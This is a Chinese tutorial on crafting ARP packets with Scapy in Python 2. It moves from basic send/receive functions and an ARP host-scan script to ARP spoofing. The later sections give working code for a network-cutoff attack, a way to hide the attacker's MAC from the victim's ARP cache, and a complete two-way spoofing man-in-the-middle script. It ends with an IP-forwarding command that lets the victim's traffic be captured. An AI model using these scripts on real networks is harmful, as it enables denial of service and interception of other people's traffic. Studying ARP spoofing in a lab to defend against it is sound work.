scapy主要基於二、三、四層工作,通過自己構造數據包發送。
在kali Linux系統中可以直接輸入scapy模塊,進行構造數據包。在python中需要先導入scapy模塊。下面用的python版本是2.x
1.構造ARP請求併發送
>>> arp = ARP() //這裏把ARP()類實例化成arp
>>> dir(arp) //查看arp的方法有哪些
[ '_name', '_overload_fields', '_pkt', '_show_or_dump', 'add_payload', 'add_underlayer', 'aliastypes', 'answers', 'build', 'build_done', 'build_padding',
.............................
.............................
'underlayer', 'upper_bonds', 'who_has']
>>> arp.show() //查看arp類的參數有哪些
###[ ARP ]###
hwtype= 0x1 #以太網,這裏用的0x1表示
ptype= 0x800 # 基於ipv4協議的
hwlen= 6
plen= 4
op= who-has #表示包的作用是響應包還是請求包。可以通過 1(who-has)和 2(is-at)的數字設置。is-at表示響應包
hwsrc= 00:0c:29:ba:f7:45 #源MAC地址
psrc= 10.10.10.11 #源IP地址
hwdst= 00:00:00:00:00:00 #目的MAC地址
pdst= 0.0.0.0 #目的IP地址
可以通過與wireshark抓的包進行對比。
————————————————————————————————————————————————————————————————
>>> arp.pdst="10.10.10.12" #設置接收的主機IP
>>> sr1(arp) #發送並接收返回的包
Begin emission:
.*Finished to send 1 packets.
Received 2 packets, got 1 answers, remaining 0 packets
<ARP hwtype=0x1 ptype=0x800 hwlen=6 plen=4 op=is-at hwsrc=00:0c:29:e4:11:67 psrc=10.10.10.12 hwdst=00:0c:29:ba:f7:45 pdst=10.10.10.11 |<Padding load='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' |>>
>>> send(arp) #只是發送一個arp包
.
Sent 1 packets.
>>> arp.pdst="10.10.10.156" #這裏設置了一個不存在的IP
>>> sr1(arp,timeout=0.1,verbose=0)
WARNING: Mac address to reach destination not found. Using broadcast.
>>> sr1(arp)
Begin emission:
.............WARNING: Mac address to reach destination not found. Using broadcast.
Finished to send 1 packets.
............................................^C
Received 57 packets, got 0 answers, remaining 1 packets
注:給不存在的主機發送arp請求時,得不到任何回覆,並且,如果不設timeout 參數,arp就會一直等待目標主機的答應。verbose 是設置顯示的內容,不會顯示多餘的內容。
直接
>> srp1(Ether(dst='00:0c:29:ea:ed:6d')/ARP(pdst='10.10.10.10'))
Begin emission:
.Finished to send 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
<Ether dst=00:0c:29:ba:f7:45 src=00:0c:29:ea:ed:6d type=0x806 |<ARP hwtype=0x1 ptype=0x800 hwlen=6 plen=4 op=is-at hwsrc=00:0c:29:ea:ed:6d psrc=10.10.10.10 hwdst=00:0c:29:ba:f7:45 pdst=10.10.10.11 |<Padding load='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' |>>>
注意1:這裏構造包加上了數據包幀頭,構造必須滿足OSI七層網絡模型結構,例如構造一個TCP的數據包: Ether()/IP()/TCP()
總結scapy發送與接收
只發不收:
-
send(),在第三層發包,不關心第二層的封裝,第二層採用默認值
-
sendp(),在第二層發包,需要手動指定第二層的封裝
發包且接收回復
-
sr()和sr1()都是在第三層發包,sr1表示只接受第一個回覆
-
srp()和srp1()都是在第二層發包,srp1表示只接受第一個回覆
如果目標主機不通,那麼將會一直髮包,因此需要加上timeout參數
sr1 與 send 表示在第三層發送,srp1與sendp表示在第二層發送
2.通過ARP()實現掃描主機
原理: 發送arp數據包時,只有主機在線的纔會有回覆,主機不在線會一直一直等待下去。通過這一特點實現主機掃描
root@kal:~/scan# vim arping.py
#!/usr/bin/python
#!encoding=utf-8
import sys
from scapy.all import *
def scan(prefix):
for i in range(254):
try:
ip=prefix+'.'+str(i)
response=sr1(ARP(pdst=ip),timeout=0.1,verbose=0) #發送請求包
if(response):
print ip
except KeyboardInterrupt:
print
return
def judge():
if len(sys.argv) != 2:
print "Example ./arping 192.168.10" #提示用戶輸入ip網段格式
sys.exit()
else:
prefix=sys.argv[1]
return prefix
def main():
prefix=judge() #簡單的判斷輸入參數個數。
scan(prefix) #掃描局域網內存活主機
if __name__ == "__main__":
main()
缺點:arp的掃描不能路由,只能掃描同一個IP段的主機。
3.利用ARP發包實現arp斷網×××
>>> arp.show()
###[ ARP ]###
hwtype= 0x1
ptype= 0x800
hwlen= 6
plen= 4
op= who-has
hwsrc= 00:0c:29:ba:f7:45
psrc= 10.10.10.11
hwdst= 00:00:00:00:00:00
pdst= 0.0.0.0
>>> arp.psrc='10.10.10.2' #設置源ip爲網關ip
>>> arp.pdst='10.10.10.12' #目的IP仍然設置受害者的IP
>>> send(arp)
.
Sent 1 packets.
-
通過上面的發送的包含義就是:×××機告訴受害者主機,我是網關,受害機就會相信他說的話。受害者的主機就會將之後的所有信息發送到×××者的主機(假網關),然後通過假的網關發送到外網。如果×××主機沒有開啓轉發功能,這就實現了ARP斷網×××。
-
但是這樣是直接發送arp包,並沒有包裝Ethernet層,那麼就會產生一個小小的瑕疵。×××機會發送發送廣播,問那個受害機的ip的MAC地址是多少,這個消息將會有受害機響應arp請求,告知自己的MAC地址,這樣就在受害機的arp緩存表中保留了×××機的MAC地址和IP。
- 這裏截取了發送arp()欺騙後,受害機的arp緩存表:
這樣就可以輕鬆的看到施展×××的主機是哪一臺。
??那麼如何隱藏呢??
這裏我們就需要包裝以太網層,將其目的MAC設置爲廣播地址,ARP的層的設置和上面一樣,代碼實現如下:
>>sendp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst='10.10.10.12',psrc='10.10.10.2'))
.
Sent 1 packets.
我們這會看下受害機的arp緩存表:
這時就沒有很明顯的留下痕跡,但是如果受害機把10段下的所有網絡ping過的話同樣能知道施展×××機的主機,這樣只是比上面更保險了點。但不是絕對保險。
4. ARP發包實現雙向欺騙並截取數據包
這裏我就直接通過一個比較簡單python的腳本實現。如果需要實現其他功能可以自己繼續完善。
root@kal:~/scan# vim arpsoof.py
#!/usr/bin/python
#!encoding=utf-8
import sys
from scapy.all import *
import time
def arpsoof(ip1,ip2):
'''
這個函數只是爲了發送構造的arp請求
'''
response = sendp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(psrc=ip1,pdst=ip2))
def double(ip1,ip2):
'''
主要是根據兩個不同的需求進行調用arpsoof函數
'''
print "1. 中間人×××"
print "2. 斷網×××"
choose = int(raw_input())
print choose
if choose == 1:
while True:
try:
arpsoof(ip1,ip2)
arpsoof(ip2,ip1)
time.sleep(2)
except KeyboardInterrupt:
print
return
elif choose == 2:
while True:
try:
arpsoof(ip1,ip2)
time.sleep(2)
except KeyboardInterrupt:
print
return
else:
print "輸入錯誤....\n"
double(ip1,ip2)
def main():
'''
實現輸入網關IP和×××者IP的功能模塊
'''
try:
ip1 = raw_input('*******請輸入網關IP:')
ip2 = raw_input('*******請輸入受×××者IP:')
double(ip1,ip2)
except KeyboardInterrupt:
print "\n"
print "*******1. 重新輸入*******"
print "*******2. 結束程序*******"
choice = int(raw_input())
if choice == 1:
main()
elif choice ==2:
sys.exit
else:
print "輸入錯誤,請重新輸入...\n"
main()
if __name__ == "__main__":
main()
還要手動實現路由轉發的功能,命令如下:
root@kal:~/scan# echo 1 > /proc/sys/net/ipv4/ip_forward
然後就可以開啓wireshark進行抓包,就可以獲取受害機的所有訪問請求。